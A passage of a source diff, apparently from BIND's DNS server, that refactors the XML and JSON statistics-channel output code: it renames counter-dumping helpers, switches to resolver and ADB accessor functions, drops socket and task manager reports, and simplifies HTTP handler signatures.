 			udpoutsizestats_index, udpoutsizestat_values, 0));
@@ -2201,10 +1739,10 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 		TRY0(xmlTextWriterWriteAttribute(writer, ISC_XMLCHAR "type",
 						 ISC_XMLCHAR "request-size"));
 
-		CHECK(dump_counters(
-			server->sctx->tcpinstats6, isc_statsformat_xml, writer,
-			NULL, tcpinsizestats_xmldesc, dns_sizecounter_in_max,
-			tcpinsizestats_index, tcpinsizestat_values, 0));
+		CHECK(dump_histo(server->sctx->tcpinstats6, isc_statsformat_xml,
+				 writer, NULL, tcpinsizestats_xmldesc,
+				 dns_sizecounter_in_max, tcpinsizestats_index,
+				 tcpinsizestat_values, 0));
 
 		TRY0(xmlTextWriterEndElement(writer)); /* </counters> */
 
@@ -2212,7 +1750,7 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 		TRY0(xmlTextWriterWriteAttribute(writer, ISC_XMLCHAR "type",
 						 ISC_XMLCHAR "response-size"));
 
-		CHECK(dump_counters(
+		CHECK(dump_histo(
 			server->sctx->tcpoutstats6, isc_statsformat_xml, writer,
 			NULL, tcpoutsizestats_xmldesc, dns_sizecounter_out_max,
 			tcpoutsizestats_index, tcpoutsizestat_values, 0));
@@ -2230,7 +1768,12 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 	view = ISC_LIST_HEAD(server->viewlist);
 	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "views"));
 	while (view != NULL &&
-	       ((flags & (STATS_XML_SERVER | STATS_XML_ZONES)) != 0)) {
+	       ((flags & (STATS_XML_SERVER | STATS_XML_ZONES)) != 0))
+	{
+		isc_stats_t *istats = NULL;
+		dns_stats_t *dstats = NULL;
+		dns_adb_t *adb = NULL;
+
 		TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "view"));
 		TRY0(xmlTextWriterWriteAttribute(writer, ISC_XMLCHAR "name",
 						 ISC_XMLCHAR view->name));
@@ -2238,8 +1781,8 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 		if ((flags & STATS_XML_ZONES) != 0) {
 			TRY0(xmlTextWriterStartElement(writer,
 						       ISC_XMLCHAR "zones"));
-			CHECK(dns_zt_apply(view->zonetable, true, NULL,
-					   zone_xmlrender, writer));
+			CHECK(dns_view_apply(view, true, NULL, zone_xmlrender,
+					     writer));
 			TRY0(xmlTextWriterEndElement(writer)); /* /zones */
 		}
 
@@ -2253,25 +1796,29 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 		TRY0(xmlTextWriterWriteAttribute(writer, ISC_XMLCHAR "type",
 						 ISC_XMLCHAR "resqtype"));
 
-		if (view->resquerystats != NULL) {
+		dns_resolver_getquerystats(view->resolver, &dstats);
+		if (dstats != NULL) {
 			dumparg.result = ISC_R_SUCCESS;
-			dns_rdatatypestats_dump(view->resquerystats,
-						rdtypestat_dump, &dumparg, 0);
+			dns_rdatatypestats_dump(dstats, rdtypestat_dump,
+						&dumparg, 0);
 			CHECK(dumparg.result);
 		}
+		dns_stats_detach(&dstats);
 		TRY0(xmlTextWriterEndElement(writer));
 
 		/* <resstats> */
 		TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "counters"));
 		TRY0(xmlTextWriterWriteAttribute(writer, ISC_XMLCHAR "type",
 						 ISC_XMLCHAR "resstats"));
-		if (view->resstats != NULL) {
-			CHECK(dump_counters(view->resstats, isc_statsformat_xml,
-					    writer, NULL, resstats_xmldesc,
-					    dns_resstatscounter_max,
-					    resstats_index, resstat_values,
-					    ISC_STATSDUMP_VERBOSE));
+		dns_resolver_getstats(view->resolver, &istats);
+		if (istats != NULL) {
+			CHECK(dump_stats(istats, isc_statsformat_xml, writer,
+					 NULL, resstats_xmldesc,
+					 dns_resstatscounter_max,
+					 resstats_index, resstat_values,
+					 ISC_STATSDUMP_VERBOSE));
 		}
+		isc_stats_detach(&istats);
 		TRY0(xmlTextWriterEndElement(writer)); /* </resstats> */
 
 		cacherrstats = dns_db_getrrsetstats(view->cachedb);
@@ -2292,12 +1839,15 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 		TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "counters"));
 		TRY0(xmlTextWriterWriteAttribute(writer, ISC_XMLCHAR "type",
 						 ISC_XMLCHAR "adbstat"));
-		if (view->adbstats != NULL) {
-			CHECK(dump_counters(view->adbstats, isc_statsformat_xml,
-					    writer, NULL, adbstats_xmldesc,
-					    dns_adbstats_max, adbstats_index,
-					    adbstat_values,
-					    ISC_STATSDUMP_VERBOSE));
+		dns_view_getadb(view, &adb);
+		if (adb != NULL) {
+			result = dump_stats(dns_adb_getstats(adb),
+					    isc_statsformat_xml, writer, NULL,
+					    adbstats_xmldesc, dns_adbstats_max,
+					    adbstats_index, adbstat_values,
+					    ISC_STATSDUMP_VERBOSE);
+			dns_adb_detach(&adb);
+			CHECK(result);
 		}
 		TRY0(xmlTextWriterEndElement(writer)); /* </adbstats> */
 
@@ -2314,19 +1864,6 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 	}
 	TRY0(xmlTextWriterEndElement(writer)); /* /views */
 
-	if ((flags & STATS_XML_NET) != 0) {
-		TRY0(xmlTextWriterStartElement(writer,
-					       ISC_XMLCHAR "socketmgr"));
-		TRY0(isc_socketmgr_renderxml(named_g_socketmgr, writer));
-		TRY0(xmlTextWriterEndElement(writer)); /* /socketmgr */
-	}
-
-	if ((flags & STATS_XML_TASKS) != 0) {
-		TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "taskmgr"));
-		TRY0(isc_taskmgr_renderxml(named_g_taskmgr, writer));
-		TRY0(xmlTextWriterEndElement(writer)); /* /taskmgr */
-	}
-
 	if ((flags & STATS_XML_MEM) != 0) {
 		TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "memory"));
 		TRY0(isc_mem_renderxml(writer));
@@ -2366,20 +1903,14 @@ wrap_xmlfree(isc_buffer_t *buffer, void *arg) {
 }
 
 static isc_result_t
-render_xml(uint32_t flags, const char *url, isc_httpdurl_t *urlinfo,
-	   const char *querystring, const char *headers, void *arg,
-	   unsigned int *retcode, const char **retmsg, const char **mimetype,
-	   isc_buffer_t *b, isc_httpdfree_t **freecb, void **freecb_args) {
+render_xml(uint32_t flags, void *arg, unsigned int *retcode,
+	   const char **retmsg, const char **mimetype, isc_buffer_t *b,
+	   isc_httpdfree_t **freecb, void **freecb_args) {
 	unsigned char *msg = NULL;
 	int msglen;
 	named_server_t *server = arg;
 	isc_result_t result;
 
-	UNUSED(url);
-	UNUSED(urlinfo);
-	UNUSED(headers);
-	UNUSED(querystring);
-
 	result = generatexml(server, flags, &msglen, &msg);
 
 	if (result == ISC_R_SUCCESS) {
@@ -2400,91 +1931,80 @@ render_xml(uint32_t flags, const char *url, isc_httpdurl_t *urlinfo,
 }
 
 static isc_result_t
-render_xml_all(const char *url, isc_httpdurl_t *urlinfo,
-	       const char *querystring, const char *headers, void *arg,
-	       unsigned int *retcode, const char **retmsg,
+render_xml_all(const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo,
+	       void *arg, unsigned int *retcode, const char **retmsg,
 	       const char **mimetype, isc_buffer_t *b, isc_httpdfree_t **freecb,
 	       void **freecb_args) {
-	return (render_xml(STATS_XML_ALL, url, urlinfo, querystring, headers,
-			   arg, retcode, retmsg, mimetype, b, freecb,
-			   freecb_args));
+	UNUSED(httpd);
+	UNUSED(urlinfo);
+	return (render_xml(STATS_XML_ALL, arg, retcode, retmsg, mimetype, b,
+			   freecb, freecb_args));
 }
 
 static isc_result_t
-render_xml_status(const char *url, isc_httpdurl_t *urlinfo,
-		  const char *querystring, const char *headers, void *arg,
-		  unsigned int *retcode, const char **retmsg,
+render_xml_status(const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo,
+		  void *arg, unsigned int *retcode, const char **retmsg,
 		  const char **mimetype, isc_buffer_t *b,
 		  isc_httpdfree_t **freecb, void **freecb_args) {
-	return (render_xml(STATS_XML_STATUS, url, urlinfo, querystring, headers,
-			   arg, retcode, retmsg, mimetype, b, freecb,
-			   freecb_args));
+	UNUSED(httpd);
+	UNUSED(urlinfo);
+	return (render_xml(STATS_XML_STATUS, arg, retcode, retmsg, mimetype, b,
+			   freecb, freecb_args));
 }
 
 static isc_result_t
-render_xml_server(const char *url, isc_httpdurl_t *urlinfo,
-		  const char *querystring, const char *headers, void *arg,
-		  unsigned int *retcode, const char **retmsg,
+render_xml_server(const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo,
+		  void *arg, unsigned int *retcode, const char **retmsg,
 		  const char **mimetype, isc_buffer_t *b,
 		  isc_httpdfree_t **freecb, void **freecb_args) {
-	return (render_xml(STATS_XML_SERVER, url, urlinfo, querystring, headers,
-			   arg, retcode, retmsg, mimetype, b, freecb,
-			   freecb_args));
+	UNUSED(httpd);
+	UNUSED(urlinfo);
+	return (render_xml(STATS_XML_SERVER, arg, retcode, retmsg, mimetype, b,
+			   freecb, freecb_args));
 }
 
 static isc_result_t
-render_xml_zones(const char *url, isc_httpdurl_t *urlinfo,
-		 const char *querystring, const char *headers, void *arg,
-		 unsigned int *retcode, const char **retmsg,
+render_xml_zones(const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo,
+		 void *arg, unsigned int *retcode, const char **retmsg,
 		 const char **mimetype, isc_buffer_t *b,
 		 isc_httpdfree_t **freecb, void **freecb_args) {
-	return (render_xml(STATS_XML_ZONES, url, urlinfo, querystring, headers,
-			   arg, retcode, retmsg, mimetype, b, freecb,
-			   freecb_args));
+	UNUSED(httpd);
+	UNUSED(urlinfo);
+	return (render_xml(STATS_XML_ZONES, arg, retcode, retmsg, mimetype, b,
+			   freecb, freecb_args));
 }
 
 static isc_result_t
-render_xml_net(const char *url, isc_httpdurl_t *urlinfo,
-	       const char *querystring, const char *headers, void *arg,
-	       unsigned int *retcode, const char **retmsg,
+render_xml_net(const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo,
+	       void *arg, unsigned int *retcode, const char **retmsg,
 	       const char **mimetype, isc_buffer_t *b, isc_httpdfree_t **freecb,
 	       void **freecb_args) {
-	return (render_xml(STATS_XML_NET, url, urlinfo, querystring, headers,
-			   arg, retcode, retmsg, mimetype, b, freecb,
-			   freecb_args));
-}
-
-static isc_result_t
-render_xml_tasks(const char *url, isc_httpdurl_t *urlinfo,
-		 const char *querystring, const char *headers, void *arg,
-		 unsigned int *retcode, const char **retmsg,
-		 const char **mimetype, isc_buffer_t *b,
-		 isc_httpdfree_t **freecb, void **freecb_args) {
-	return (render_xml(STATS_XML_TASKS, url, urlinfo, querystring, headers,
-			   arg, retcode, retmsg, mimetype, b, freecb,
-			   freecb_args));
+	UNUSED(httpd);
+	UNUSED(urlinfo);
+	return (render_xml(STATS_XML_NET, arg, retcode, retmsg, mimetype, b,
+			   freecb, freecb_args));
 }
 
 static isc_result_t
-render_xml_mem(const char *url, isc_httpdurl_t *urlinfo,
-	       const char *querystring, const char *headers, void *arg,
-	       unsigned int *retcode, const char **retmsg,
+render_xml_mem(const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo,
+	       void *arg, unsigned int *retcode, const char **retmsg,
 	       const char **mimetype, isc_buffer_t *b, isc_httpdfree_t **freecb,
 	       void **freecb_args) {
-	return (render_xml(STATS_XML_MEM, url, urlinfo, querystring, headers,
-			   arg, retcode, retmsg, mimetype, b, freecb,
-			   freecb_args));
+	UNUSED(httpd);
+	UNUSED(urlinfo);
+	return (render_xml(STATS_XML_MEM, arg, retcode, retmsg, mimetype, b,
+			   freecb, freecb_args));
 }
 
 static isc_result_t
-render_xml_traffic(const char *url, isc_httpdurl_t *urlinfo,
-		   const char *querystring, const char *headers, void *arg,
-		   unsigned int *retcode, const char **retmsg,
+render_xml_traffic(const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo,
+		   void *arg, unsigned int *retcode, const char **retmsg,
 		   const char **mimetype, isc_buffer_t *b,
 		   isc_httpdfree_t **freecb, void **freecb_args) {
-	return (render_xml(STATS_XML_TRAFFIC, url, urlinfo, querystring,
-			   headers, arg, retcode, retmsg, mimetype, b, freecb,
-			   freecb_args));
+	UNUSED(httpd);
+	UNUSED(urlinfo);
+	return (render_xml(STATS_XML_TRAFFIC, arg, retcode, retmsg, mimetype, b,
+			   freecb, freecb_args));
 }
 
 #endif /* HAVE_LIBXML2 */
@@ -2496,7 +2016,6 @@ render_xml_traffic(const char *url, isc_httpdurl_t *urlinfo,
 #define STATS_JSON_STATUS  0x00 /* display only common statistics */
 #define STATS_JSON_SERVER  0x01
 #define STATS_JSON_ZONES   0x02
-#define STATS_JSON_TASKS   0x04
 #define STATS_JSON_NET	   0x08
 #define STATS_JSON_MEM	   0x10
 #define STATS_JSON_TRAFFIC 0x20
@@ -2553,6 +2072,7 @@ zone_jsonrender(dns_zone_t *zone, void *arg) {
 	json_object *zonearray = (json_object *)arg;
 	json_object *zoneobj = NULL;
 	dns_zonestat_level_t statlevel;
+	isc_time_t timestamp;
 
 	statlevel = dns_zone_getstatlevel(zone);
 	if (statlevel == dns_zonestat_none) {
@@ -2579,19 +2099,17 @@ zone_jsonrender(dns_zone_t *zone, void *arg) {
 	}
 
 	/*
-	 * Export zone timers to the statistics channel in JSON format.  For
-	 * master zones, only include the loaded time.  For slave zones, also
-	 * include the expires and refresh times.
+	 * Export zone timers to the statistics channel in JSON format.
+	 * For primary zones, only include the loaded time.  For secondary
+	 * zones, also include the expire and refresh times.
 	 */
 
-	isc_time_t timestamp;
-
 	CHECK(dns_zone_getloadtime(zone, &timestamp));
 
 	isc_time_formatISO8601(&timestamp, buf, 64);
 	json_object_object_add(zoneobj, "loaded", json_object_new_string(buf));
 
-	if (dns_zone_gettype(zone) == dns_zone_slave) {
+	if (dns_zone_gettype(zone) == dns_zone_secondary) {
 		CHECK(dns_zone_getexpiretime(zone, &timestamp));
 		isc_time_formatISO8601(&timestamp, buf, 64);
 		json_object_object_add(zoneobj, "expires",
@@ -2619,10 +2137,10 @@ zone_jsonrender(dns_zone_t *zone, void *arg) {
 				goto cleanup;
 			}
 
-			result = dump_counters(zonestats, isc_statsformat_json,
-					       counters, NULL, nsstats_xmldesc,
-					       ns_statscounter_max,
-					       nsstats_index, nsstat_values, 0);
+			result = dump_stats(zonestats, isc_statsformat_json,
+					    counters, NULL, nsstats_xmldesc,
+					    ns_statscounter_max, nsstats_index,
+					    nsstat_values, 0);
 			if (result != ISC_R_SUCCESS) {
 				json_object_put(counters);
 				goto cleanup;
@@ -2644,7 +2162,7 @@ zone_jsonrender(dns_zone_t *zone, void *arg) {
 				goto cleanup;
 			}
 
-			result = dump_counters(
+			result = dump_stats(
 				gluecachestats, isc_statsformat_json, counters,
 				NULL, gluecachestats_xmldesc,
 				dns_gluecachestatscounter_max,
@@ -2726,7 +2244,8 @@ zone_jsonrender(dns_zone_t *zone, void *arg) {
 			}
 
 			if (json_object_get_object(refresh_counters)->count !=
-			    0) {
+			    0)
+			{
 				json_object_object_add(zoneobj,
 						       "dnssec-refresh",
 						       refresh_counters);
@@ -2788,11 +2307,11 @@ generatejson(named_server_t *server, size_t *msglen, const char **msg,
 	/*
 	 * These statistics are included no matter which URL we use.
 	 */
-	obj = json_object_new_string("1.5");
+	obj = json_object_new_string(STATS_JSON_VERSION);
 	CHECKMEM(obj);
 	json_object_object_add(bindstats, "json-stats-version", obj);
 
-	isc_time_now(&now);
+	now = isc_time_now();
 	isc_time_formatISO8601ms(&named_g_boottime, boottime, sizeof(boottime));
 	isc_time_formatISO8601ms(&named_g_configtime, configtime,
 				 sizeof configtime);
@@ -2878,10 +2397,10 @@ generatejson(named_server_t *server, size_t *msglen, const char **msg,
 		dumparg.result = ISC_R_SUCCESS;
 		dumparg.arg = counters;
 
-		result = dump_counters(ns_stats_get(server->sctx->nsstats),
-				       isc_statsformat_json, counters, NULL,
-				       nsstats_xmldesc, ns_statscounter_max,
-				       nsstats_index, nsstat_values, 0);
+		result = dump_stats(ns_stats_get(server->sctx->nsstats),
+				    isc_statsformat_json, counters, NULL,
+				    nsstats_xmldesc, ns_statscounter_max,
+				    nsstats_index, nsstat_values, 0);
 		if (result != ISC_R_SUCCESS) {
 			json_object_put(counters);
 			goto cleanup;
@@ -2899,10 +2418,10 @@ generatejson(named_server_t *server, size_t *msglen, const char **msg,
 		dumparg.result = ISC_R_SUCCESS;
 		dumparg.arg = counters;
 
-		result = dump_counters(server->zonestats, isc_statsformat_json,
-				       counters, NULL, zonestats_xmldesc,
-				       dns_zonestatscounter_max,
-				       zonestats_index, zonestat_values, 0);
+		result = dump_stats(server->zonestats, isc_statsformat_json,
+				    counters, NULL, zonestats_xmldesc,
+				    dns_zonestatscounter_max, zonestats_index,
+				    zonestat_values, 0);
 		if (result != ISC_R_SUCCESS) {
 			json_object_put(counters);
 			goto cleanup;
@@ -2921,10 +2440,10 @@ generatejson(named_server_t *server, size_t *msglen, const char **msg,
 		dumparg.result = ISC_R_SUCCESS;
 		dumparg.arg = counters;
 
-		result = dump_counters(
-			server->resolverstats, isc_statsformat_json, counters,
-			NULL, resstats_xmldesc, dns_resstatscounter_max,
-			resstats_index, resstat_values, 0);
+		result = dump_stats(server->resolverstats, isc_statsformat_json,
+				    counters, NULL, resstats_xmldesc,
+				    dns_resstatscounter_max, resstats_index,
+				    resstat_values, 0);
 		if (result != ISC_R_SUCCESS) {
 			json_object_put(counters);
 			goto cleanup;
@@ -2944,11 +2463,11 @@ generatejson(named_server_t *server, size_t *msglen, const char **msg,
 			counters = json_object_new_object();
 			dumparg.result = ISC_R_SUCCESS;
 			dumparg.arg = counters;
-			result = dump_counters(
-				dnstapstats, isc_statsformat_json, counters,
-				NULL, dnstapstats_xmldesc,
-				dns_dnstapcounter_max, dnstapstats_index,
-				dnstapstat_values, 0);
+			result = dump_stats(dnstapstats, isc_statsformat_json,
+					    counters, NULL, dnstapstats_xmldesc,
+					    dns_dnstapcounter_max,
+					    dnstapstats_index,
+					    dnstapstat_values, 0);
 			isc_stats_detach(&dnstapstats);
 			if (result != ISC_R_SUCCESS) {
 				json_object_put(counters);
@@ -2974,6 +2493,7 @@ generatejson(named_server_t *server, size_t *msglen, const char **msg,
 		view = ISC_LIST_HEAD(server->viewlist);
 		while (view != NULL) {
 			json_object *za, *v = json_object_new_object();
+			dns_adb_t *adb = NULL;
 
 			CHECKMEM(v);
 			json_object_object_add(viewlist, view->name, v);
@@ -2982,8 +2502,8 @@ generatejson(named_server_t *server, size_t *msglen, const char **msg,
 			CHECKMEM(za);
 
 			if ((flags & STATS_JSON_ZONES) != 0) {
-				CHECK(dns_zt_apply(view->zonetable, true, NULL,
-						   zone_jsonrender, za));
+				CHECK(dns_view_apply(view, true, NULL,
+						     zone_jsonrender, za));
 			}
 
 			if (json_object_array_length(za) != 0) {
@@ -2993,20 +2513,20 @@ generatejson(named_server_t *server, size_t *msglen, const char **msg,
 			}
 
 			if ((flags & STATS_JSON_SERVER) != 0) {
-				json_object *res;
-				dns_stats_t *dstats;
-				isc_stats_t *istats;
+				json_object *res = NULL;
+				dns_stats_t *dstats = NULL;
+				isc_stats_t *istats = NULL;
 
 				res = json_object_new_object();
 				CHECKMEM(res);
 				json_object_object_add(v, "resolver", res);
 
-				istats = view->resstats;
+				dns_resolver_getstats(view->resolver, &istats);
 				if (istats != NULL) {
 					counters = json_object_new_object();
 					CHECKMEM(counters);
 
-					result = dump_counters(
+					result = dump_stats(
 						istats, isc_statsformat_json,
 						counters, NULL,
 						resstats_xmldesc,
@@ -3021,9 +2541,11 @@ generatejson(named_server_t *server, size_t *msglen, const char **msg,
 
 					json_object_object_add(res, "stats",
 							       counters);
+					isc_stats_detach(&istats);
 				}
 
-				dstats = view->resquerystats;
+				dns_resolver_getquerystats(view->resolver,
+							   &dstats);
 				if (dstats != NULL) {
 					counters = json_object_new_object();
 					CHECKMEM(counters);
@@ -3041,6 +2563,7 @@ generatejson(named_server_t *server, size_t *msglen, const char **msg,
 
 					json_object_object_add(res, "qtypes",
 							       counters);
+					dns_stats_detach(&dstats);
 				}
 
 				dstats = dns_db_getrrsetstats(view->cachedb);
@@ -3076,12 +2599,16 @@ generatejson(named_server_t *server, size_t *msglen, const char **msg,
 				json_object_object_add(res, "cachestats",
 						       counters);
 
-				istats = view->adbstats;
+				dns_view_getadb(view, &adb);
+				if (adb != NULL) {
+					istats = dns_adb_getstats(adb);
+					dns_adb_detach(&adb);
+				}
 				if (istats != NULL) {
 					counters = json_object_new_object();
 					CHECKMEM(counters);
 
-					result = dump_counters(
+					result = dump_stats(
 						istats, isc_statsformat_json,
 						counters, NULL,
 						adbstats_xmldesc,
@@ -3105,16 +2632,15 @@ generatejson(named_server_t *server, size_t *msglen, const char **msg,
 
 	if ((flags & STATS_JSON_NET) != 0) {
 		/* socket stat counters */
-		json_object *sockets;
 		counters = json_object_new_object();
 
 		dumparg.result = ISC_R_SUCCESS;
 		dumparg.arg = counters;
 
-		result = dump_counters(server->sockstats, isc_statsformat_json,
-				       counters, NULL, sockstats_xmldesc,
-				       isc_sockstatscounter_max,
-				       sockstats_index, sockstat_values, 0);
+		result = dump_stats(server->sockstats, isc_statsformat_json,
+				    counters, NULL, sockstats_xmldesc,
+				    isc_sockstatscounter_max, sockstats_index,
+				    sockstat_values, 0);
 		if (result != ISC_R_SUCCESS) {
 			json_object_put(counters);
 			goto cleanup;
@@ -3126,30 +2652,6 @@ generatejson(named_server_t *server, size_t *msglen, const char **msg,
 		} else {
 			json_object_put(counters);
 		}
-
-		sockets = json_object_new_object();
-		CHECKMEM(sockets);
-
-		result = isc_socketmgr_renderjson(named_g_socketmgr, sockets);
-		if (result != ISC_R_SUCCESS) {
-			json_object_put(sockets);
-			goto cleanup;
-		}
-
-		json_object_object_add(bindstats, "socketmgr", sockets);
-	}
-
-	if ((flags & STATS_JSON_TASKS) != 0) {
-		json_object *tasks = json_object_new_object();
-		CHECKMEM(tasks);
-
-		result = isc_taskmgr_renderjson(named_g_taskmgr, tasks);
-		if (result != ISC_R_SUCCESS) {
-			json_object_put(tasks);
-			goto cleanup;
-		}
-
-		json_object_object_add(bindstats, "taskmgr", tasks);
 	}
 
 	if ((flags & STATS_JSON_MEM) != 0) {
@@ -3193,53 +2695,53 @@ generatejson(named_server_t *server, size_t *msglen, const char **msg,
 		tcpresp6 = json_object_new_object();
 		CHECKMEM(tcpresp6);
 
-		CHECK(dump_counters(
-			server->sctx->udpinstats4, isc_statsformat_json,
-			udpreq4, NULL, udpinsizestats_xmldesc,
-			dns_sizecounter_in_max, udpinsizestats_index,
-			udpinsizestat_values, 0));
-
-		CHECK(dump_counters(
-			server->sctx->udpoutstats4, isc_statsformat_json,
-			udpresp4, NULL, udpoutsizestats_xmldesc,
-			dns_sizecounter_out_max, udpoutsizestats_index,
-			udpoutsizestat_values, 0));
-
-		CHECK(dump_counters(
-			server->sctx->tcpinstats4, isc_statsformat_json,
-			tcpreq4, NULL, tcpinsizestats_xmldesc,
-			dns_sizecounter_in_max, tcpinsizestats_index,
-			tcpinsizestat_values, 0));
-
-		CHECK(dump_counters(
-			server->sctx->tcpoutstats4, isc_statsformat_json,
-			tcpresp4, NULL, tcpoutsizestats_xmldesc,
-			dns_sizecounter_out_max, tcpoutsizestats_index,
-			tcpoutsizestat_values, 0));
-
-		CHECK(dump_counters(
-			server->sctx->udpinstats6, isc_statsformat_json,
-			udpreq6, NULL, udpinsizestats_xmldesc,
-			dns_sizecounter_in_max, udpinsizestats_index,
-			udpinsizestat_values, 0));
-
-		CHECK(dump_counters(
-			server->sctx->udpoutstats6, isc_statsformat_json,
-			udpresp6, NULL, udpoutsizestats_xmldesc,
-			dns_sizecounter_out_max, udpoutsizestats_index,
-			udpoutsizestat_values, 0));
-
-		CHECK(dump_counters(
-			server->sctx->tcpinstats6, isc_statsformat_json,
-			tcpreq6, NULL, tcpinsizestats_xmldesc,
-			dns_sizecounter_in_max, tcpinsizestats_index,
-			tcpinsizestat_values, 0));
-
-		CHECK(dump_counters(
-			server->sctx->tcpoutstats6, isc_statsformat_json,
-			tcpresp6, NULL, tcpoutsizestats_xmldesc,
-			dns_sizecounter_out_max, tcpoutsizestats_index,
-			tcpoutsizestat_values, 0));
+		CHECK(dump_histo(server->sctx->udpinstats4,
+				 isc_statsformat_json, udpreq4, NULL,
+				 udpinsizestats_xmldesc, dns_sizecounter_in_max,
+				 udpinsizestats_index, udpinsizestat_values,
+				 0));
+
+		CHECK(dump_histo(server->sctx->udpoutstats4,
+				 isc_statsformat_json, udpresp4, NULL,
+				 udpoutsizestats_xmldesc,
+				 dns_sizecounter_out_max, udpoutsizestats_index,
+				 udpoutsizestat_values, 0));
+
+		CHECK(dump_histo(server->sctx->tcpinstats4,
+				 isc_statsformat_json, tcpreq4, NULL,
+				 tcpinsizestats_xmldesc, dns_sizecounter_in_max,
+				 tcpinsizestats_index, tcpinsizestat_values,
+				 0));
+
+		CHECK(dump_histo(server->sctx->tcpoutstats4,
+				 isc_statsformat_json, tcpresp4, NULL,
+				 tcpoutsizestats_xmldesc,
+				 dns_sizecounter_out_max, tcpoutsizestats_index,
+				 tcpoutsizestat_values, 0));
+
+		CHECK(dump_histo(server->sctx->udpinstats6,
+				 isc_statsformat_json, udpreq6, NULL,
+				 udpinsizestats_xmldesc, dns_sizecounter_in_max,
+				 udpinsizestats_index, udpinsizestat_values,
+				 0));
+
+		CHECK(dump_histo(server->sctx->udpoutstats6,
+				 isc_statsformat_json, udpresp6, NULL,
+				 udpoutsizestats_xmldesc,
+				 dns_sizecounter_out_max, udpoutsizestats_index,
+				 udpoutsizestat_values, 0));
+
+		CHECK(dump_histo(server->sctx->tcpinstats6,
+				 isc_statsformat_json, tcpreq6, NULL,
+				 tcpinsizestats_xmldesc, dns_sizecounter_in_max,
+				 tcpinsizestats_index, tcpinsizestat_values,
+				 0));
+
+		CHECK(dump_histo(server->sctx->tcpoutstats6,
+				 isc_statsformat_json, tcpresp6, NULL,
+				 tcpoutsizestats_xmldesc,
+				 dns_sizecounter_out_max, tcpoutsizestats_index,
+				 tcpoutsizestat_values, 0));
 
 		json_object_object_add(traffic,
 				       "dns-udp-requests-sizes-received-ipv4",
@@ -3320,10 +2822,9 @@ generatejson(named_server_t *server, size_t *msglen, const char **msg,
 }
 
 static isc_result_t
-render_json(uint32_t flags, const char *url, isc_httpdurl_t *urlinfo,
-	    const char *querystring, const char *headers, void *arg,
-	    unsigned int *retcode, const char **retmsg, const char **mimetype,
-	    isc_buffer_t *b, isc_httpdfree_t **freecb, void **freecb_args) {
+render_json(uint32_t flags, void *arg, unsigned int *retcode,
+	    const char **retmsg, const char **mimetype, isc_buffer_t *b,
+	    isc_httpdfree_t **freecb, void **freecb_args) {
 	isc_result_t result;
 	json_object *bindstats = NULL;
 	named_server_t *server = arg;
@@ -3331,17 +2832,12 @@ render_json(uint32_t flags, const char *url, isc_httpdurl_t *urlinfo,
 	size_t msglen = 0;
 	char *p;
 
-	UNUSED(url);
-	UNUSED(urlinfo);
-	UNUSED(headers);
-	UNUSED(querystring);
-
 	result = generatejson(server, &msglen, &msg, &bindstats, flags);
 	if (result == ISC_R_SUCCESS) {
 		*retcode = 200;
 		*retmsg = "OK";
 		*mimetype = "application/json";
-		DE_CONST(msg, p);
+		p = UNCONST(msg);
 		isc_buffer_reinit(b, p, msglen);
 		isc_buffer_add(b, msglen);
 		*freecb = wrap_jsonfree;
@@ -3356,166 +2852,137 @@ render_json(uint32_t flags, const char *url, isc_httpdurl_t *urlinfo,
 }
 
 static isc_result_t
-render_json_all(const char *url, isc_httpdurl_t *urlinfo,
-		const char *querystring, const char *headers, void *arg,
-		unsigned int *retcode, const char **retmsg,
+render_json_all(const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo,
+		void *arg, unsigned int *retcode, const char **retmsg,
 		const char **mimetype, isc_buffer_t *b,
 		isc_httpdfree_t **freecb, void **freecb_args) {
-	return (render_json(STATS_JSON_ALL, url, urlinfo, querystring, headers,
-			    arg, retcode, retmsg, mimetype, b, freecb,
-			    freecb_args));
+	UNUSED(httpd);
+	UNUSED(urlinfo);
+	return (render_json(STATS_JSON_ALL, arg, retcode, retmsg, mimetype, b,
+			    freecb, freecb_args));
 }
 
 static isc_result_t
-render_json_status(const char *url, isc_httpdurl_t *urlinfo,
-		   const char *querystring, const char *headers, void *arg,
-		   unsigned int *retcode, const char **retmsg,
+render_json_status(const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo,
+		   void *arg, unsigned int *retcode, const char **retmsg,
 		   const char **mimetype, isc_buffer_t *b,
 		   isc_httpdfree_t **freecb, void **freecb_args) {
-	return (render_json(STATS_JSON_STATUS, url, urlinfo, querystring,
-			    headers, arg, retcode, retmsg, mimetype, b, freecb,
-			    freecb_args));
+	UNUSED(httpd);
+	UNUSED(urlinfo);
+	return (render_json(STATS_JSON_STATUS, arg, retcode, retmsg, mimetype,
+			    b, freecb, freecb_args));
 }
 
 static isc_result_t
-render_json_server(const char *url, isc_httpdurl_t *urlinfo,
-		   const char *querystring, const char *headers, void *arg,
-		   unsigned int *retcode, const char **retmsg,
+render_json_server(const isc_httpd_t *httpd, const isc_httpdurl_t *urlinfo,
+		   void *arg, unsigned int *retcode, const char **retmsg,
 		   const char **mimetype, isc_buffer_t *b,
 		   isc_httpdfree_t **freecb, void **freecb_args) {
-	return (render_json(STATS_JSON_SERVER, url, urlinfo, querystring,
-			    headers, arg, retcode, retmsg, mimetype, b, freecb,
-			    freecb_args));
+	UNUSED(httpd);
+	UNUSED(urlinfo);
+	return (render_json(STATS_JSON_SERVER, arg, retcode, retmsg, mimetype,
+			    b, freecb, freecb_args));
 }
 
 static isc_result_t
